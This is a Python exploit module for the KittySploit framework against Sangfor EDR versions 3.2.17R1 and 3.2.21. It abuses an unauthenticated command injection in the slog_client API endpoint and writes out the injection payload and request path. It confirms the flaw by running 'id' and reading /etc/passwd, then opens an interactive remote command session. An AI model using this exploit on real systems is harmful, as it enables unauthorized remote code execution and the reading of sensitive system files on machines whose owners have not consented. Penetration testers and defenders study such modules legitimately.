Sangfor EDR - slog_client RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Sangfor EDR 3.2.17R1/3.2.21 slog_client RCE — execute session."""

from __future__ import annotations

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Sangfor EDR - slog_client RCE',
        'description': (
            'Exploits unauthenticated command injection in Sangfor EDR 3.2.17R1/3.2.21 via '
            '/api/edr/sangforinter/v2/cssp/slog_client JSON params. Opens an interactive '
            'execute session.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.cnblogs.com/0day-li/p/13650452.html'],
        'tags': ['sangfor', 'edr', 'rce', 'cmdi', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'suggested_followups': ['scanner/http/sangfor_edr_rce_detect'],
            },
        },
    }

    _PATH = '/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9'

    def _payload(self, cmd: str) -> str:
        safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
        return f'{{"params":"w=123\\"\\\'1234123\\\'\\"|{safe}"}}\n'

    def execute(self, cmd: str) -> str:
        r = self.http_request(
            method='POST',
            path=self._PATH,
            data=self._payload(cmd),
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'Sangfor EDR slog_client RCE confirmed via id output',
                'confidence': 'high',
            }
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {
                'vulnerable': True,
                'reason': 'Sangfor EDR slog_client RCE confirmed via /etc/passwd',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'slog_client did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()